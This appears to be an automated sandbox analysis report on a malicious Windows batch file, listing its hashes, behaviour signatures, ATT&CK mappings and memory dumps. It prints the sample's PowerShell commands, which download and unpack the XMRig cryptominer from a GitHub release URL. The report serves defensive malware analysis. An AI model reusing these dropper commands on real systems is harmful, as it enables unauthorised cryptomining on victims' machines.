c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Resubmissions

Analysis

max time kernel
1560s
max time network
1560s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
20/05/2024, 18:07

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General

Target

14.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	548	powershell.exe
6	548	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
548	powershell.exe
2844	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
548	powershell.exe
2844	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	548	powershell.exe
Token: SeDebugPrivilege	2844	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 548	2100	cmd.exe	29
PID 2100 wrote to memory of 548	2100	cmd.exe	29
PID 2100 wrote to memory of 548	2100	cmd.exe	29
PID 2100 wrote to memory of 2844	2100	cmd.exe	30
PID 2100 wrote to memory of 2844	2100	cmd.exe	30
PID 2100 wrote to memory of 2844	2100	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\14.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a299dcff602d809c9dcf1e9450a72376

SHA1
6a33f3bb1d881098b496722e21f70b81e26fd284

SHA256
d58da605cbae47ff13b8c42ca2d759fb177a42de3a41323487d6b3d55d0c020b

SHA512
d8cccbecf06ea567ab58c817d3715edb8faf8a2c2e43121ae84e4814eee5ac180a58a0189b1900f59e2dabb18f5df5bc00287c1d34de224b7bd67a7adc2fd0e9

Download Submit
memory/548-4-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp

Filesize
4KB

Download
memory/548-5-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/548-7-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/548-8-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/548-6-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/548-9-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/548-10-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/548-11-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/548-12-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2844-18-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2844-19-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download